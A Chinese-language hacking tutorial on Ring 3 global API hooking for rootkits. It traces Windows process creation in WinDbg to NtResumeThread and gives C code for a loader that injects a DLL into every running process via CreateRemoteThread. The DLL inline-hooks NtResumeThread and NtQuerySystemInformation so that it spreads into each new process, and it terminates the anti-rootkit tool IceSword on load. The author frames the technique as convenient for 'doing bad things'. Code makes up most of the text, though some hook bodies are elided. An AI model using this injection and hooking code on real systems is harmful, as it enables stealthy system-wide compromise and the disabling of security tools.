挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。
似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然
是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,
因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是
无法接受蓝屏和死机的。
感兴趣的可以装个Rootkit unhooker 自己看看。 :)
1. 以往的Ring 3全局Hook
纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:
HHOOK SetWindowsHookEx(
int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId
);
idhook 安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等
lpfn hook procedure 的指针
hmod 包含 hook procedure DLL 的handle
dwThread 为0
使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面
的程序,Windows console 类的程序就无能为力了。
还有一种通过插入注册表来实现
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。
以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess
这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。
a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,
而当NtCreateProcess返回时,进程又已经开始运行
b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可
以这么理解,直接在命令行下,cmd,cmd,cmd .... 你可以监控到最后一个cmd 吗,如果只
用SetWindowsHookEx
c. 是否正好站在了华容道,是否足够底层。
似乎很费劲
2. 分析系统创建进程过程,寻找方法
关于这方面内容,可以参考毛德操老师的两篇文章
《漫谈兼容内核之十七:再谈Windows的进程创建》
《漫谈兼容内核之二十二:Windows线程的调度和运行》
下面是他的blog 链接:
http://hi.baidu.com/fatbsd/blog
CreateProcess 是 Kernel32.dll 的导出函数。
操起WinDbg,剁了一下: Windows 2003 SP2
lkd> uf CreateProcessW
kernel32!CreateProcessW:
7c802474 8bff mov edi,edi
7c802476 55 push ebp
7c802477 8bec mov ebp,esp
7c802479 6a00 push 0x0
7c80247b ff752c push dword ptr [ebp+0x2c]
7c80247e ff7528 push dword ptr [ebp+0x28]
7c802481 ff7524 push dword ptr [ebp+0x24]
7c802484 ff7520 push dword ptr [ebp+0x20]
7c802487 ff751c push dword ptr [ebp+0x1c]
7c80248a ff7518 push dword ptr [ebp+0x18]
7c80248d ff7514 push dword ptr [ebp+0x14]
7c802490 ff7510 push dword ptr [ebp+0x10]
7c802493 ff750c push dword ptr [ebp+0xc]
7c802496 ff7508 push dword ptr [ebp+0x8]
7c802499 6a00 push 0x0
7c80249b e8a6ac0200 call kernel32!CreateProcessInternalW (7c82d146)
7c8024a0 5d pop ebp
7c8024a1 c22800 ret 0x28
lkd> uf CreateProcessInternalW
....
7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]
....
7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]
....
7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)]
大概流程如下:
Kernel32!CreateProcessW
Kernel32!CreateProcessInternalW
ntdll!NtCreateProcessEx
ntdll!NtCreateThread
ntdll!NtResumeThread
因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。
所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,
但是进程并没有调度起来,呵呵,方便干坏事啊。
3. 具体代码实现
基本思路已经清晰了,这里还几个问题。
a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时
调用的NtResumeThread呢?
其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到
NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。
b. 用什么方法Hook , IAT、Inline? 总的架构?
这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。
枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程
创建时,将DLL 插入新进程。
下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。
Hook 也不是不是我们这次的主要内容,感兴趣的可以参考
http://www.xfocus.net/articles/200403/681.html
c. 在多线程的环境下是否可靠?
使用关键代码段,互斥锁,效果还可以。
Loader:
void inject(HANDLE hProcess){
char CurPath[256] = {0};
strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");
PWSTR pszLibFileRemote = NULL;
int len = (lstrlen(CurPath)+1)*2;
WCHAR wCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);
pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess,
NULL,
len,
MEM_COMMIT,
PAGE_READWRITE);
WriteProcessMemory(hProcess, pszLibFileRemote,
(PVOID) wCurPath, len, NULL);
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pszLibFileRemote,
0,
NULL);
}
void TotalInject()
{
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = {0};
// Take a snapshot of all processes in the system.
EnableDebugPrivilege(1);
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
return;
// Fill in the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Walk the snapshot of the processes, and for each process,
// display information.
if (Process32First(hProcessSnap, &pe32))
{
do
{
HANDLE hProcess;
// Get the actual priority class.
hProcess = OpenProcess (PROCESS_ALL_ACCESS,
FALSE,
pe32.th32ProcessID);
inject(hProcess);
CloseHandle(hProcess);
}
while (Process32Next(hProcessSnap, &pe32));
}
// Do not forget to clean up the snapshot object.
EnableDebugPrivilege(0);
CloseHandle (hProcessSnap);
return ;
}
Hook.dll: 关键代码
#include "stdafx.h"
#include <stdio.h>
BOOL g_bHook = FALSE;
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef ULONG SYSTEM_INFORMATION_CLASS;
typedef ULONG THREADINFOCLASS;
typedef ULONG PROCESSINFOCLASS;
typedef ULONG KPRIORITY;
#define MEMORY_BASIC_INFORMATION_SIZE 28
typedef struct _THREAD_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PNT_TIB TebBaseAddress;
CLIENT_ID ClientId;
KAFFINITY AffinityMask;
KPRIORITY Priority;
KPRIORITY BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;
typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
KAFFINITY AffinityMask;
KPRIORITY BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL );
typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);
typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength OPTIONAL);
typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL);
NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;
NTRESUMETHREAD g_pfNtResumeThread = NULL;
BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0};
BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0};
DWORD dwIdOld = 0;
CRITICAL_SECTION cs;
NTSTATUS __stdcall NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL);
void WINAPI HookOn();
void WINAPI HookOff();
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
InitializeCriticalSection(&cs);
char Name[MAX_PATH] = {0};
GetModuleFileName(NULL, Name, MAX_PATH);
// 杀杀冰刃玩玩
if ( strstr(Name, "IceSword.exe") != NULL)
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
0,
GetCurrentProcessId());
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
if(!g_bHook)
{
HookOn();
}
#ifdef _DEBUG
MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);
#endif
}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
if(g_bHook)
{
HookOff();
#ifdef _DEBUG
MessageBox(NULL, "Off!", "Hook Off", MB_OK);
#endif
DeleteCriticalSection(&cs);
}
break;
}
return TRUE;
}
BOOL EnableDebugPrivilege(BOOL fEnable) {
// Enabling the debug privilege allows the application to see
// information about service applications
BOOL fOk = FALSE; // Assume function fails
HANDLE hToken;
// Try to open this process's access token
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,
&hToken)) {
// Attempt to modify the "Debug" privilege
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return(fOk);
}
#define ThreadBasicInformation 0
void inject(HANDLE hProcess){
char CurPath[256] = {0};
GetSystemDirectory(CurPath, 256);
strncat(CurPath, "\\Hook.dll", 9);
//strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");
PWSTR pszLibFileRemote = NULL;
int len = (lstrlen(CurPath)+1)*2;
WCHAR wCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);
EnableDebugPrivilege(1);
pszLibFileRemote = (PWSTR)
VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pszLibFileRemote,
(PVOID) wCurPath, len, NULL);
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
HANDLE hRemoteThread = CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pszLibFileRemote,
0,
NULL);
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
EnableDebugPrivilege(0);
}
NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL)
{
NTSTATUS ret;
NTSTATUS nStatus;
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;
THREAD_BASIC_INFORMATION ti;
DWORD Pid = 0;
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,
"NtQuerySystemInformation");
NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll,
"NtQueryInformationThread");
if (NtQueryInformationThread == NULL)
{
#ifdef _DEBUG
MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK);
#endif
}
nStatus = NtQueryInformationThread(ThreadHandle,
ThreadBasicInformation,
(PVOID)&ti,
sizeof(THREAD_BASIC_INFORMATION),
NULL);
if(nStatus != STATUS_SUCCESS)
{
#ifdef _DEBUG
MessageBox(NULL, "fuck failed", "", MB_OK);
#endif
}
Pid = (DWORD)(ti.ClientId.UniqueProcess);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);
if (hProcess == NULL)
{
#ifdef _DEBUG
MessageBox(NULL, "open process failed", "", MB_OK);
#endif
}
BYTE FirstByte[1] = {0};
// check if the process has been hooked
ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL);
// 已经被Hook了
if ( FirstByte[0] == 0xe9)
{
HookOff();
ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);
HookOn();
CloseHandle(hProcess);
return ret;
}
// 创建新进程的调用,Hook 之
else
{
HookOff();
inject(hProcess);
ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);
HookOn();
CloseHandle(hProcess);
return ret;
}
}
NTSTATUS __stdcall NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
HookOff();
ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
HookOn();
return ntStatus;
}
void WINAPI HookOn()
{
PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;
DWORD dwOldProtect, dwOldProtect2;
HANDLE hProcess = NULL;
dwIdOld = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);
if(hProcess == NULL)
return ;
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,
"NtQuerySystemInformation");
if (g_pfNtQuerySystemInformation == NULL)
{
return;
}
g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");
if (g_pfNtResumeThread == NULL)
{
return;
}
EnterCriticalSection(&cs);
_asm
{
lea edi,g_OldNtQuerySystemInformation
mov esi,g_pfNtQuerySystemInformation
cld
mov ecx,5
rep movsb
lea edi,g_OldNtResumeThread
mov esi,g_pfNtResumeThread
cld
mov ecx,5
rep movsb
}
g_NewNtQuerySystemInformation[0] = 0xe9;
g_NewNtResumeThread[0] = 0xe9;
_asm
{
lea eax, NewNtQuerySystemInformation
mov ebx, g_pfNtQuerySystemInformation
sub eax, ebx
sub eax, 5
mov dword ptr [g_NewNtQuerySystemInformation + 1], eax
lea eax, NewNtResumeThread
mov ebx, g_pfNtResumeThread
sub eax, ebx
sub eax, 5
mov dword ptr [g_NewNtResumeThread + 1], eax
}
.......
LeaveCriticalSection(&cs);
g_bHook = TRUE;
}
// 还原被修改的代码
void WINAPI HookOff()
{
......
g_bHook = FALSE;
}
4. 参考资料
Microsoft MSDN,SDK & DDK
《Windows NT 2000 Native API Reference》
《Windows 核心编程》
《挂钩Windows API》
《如何在Windows NT中隐藏自己》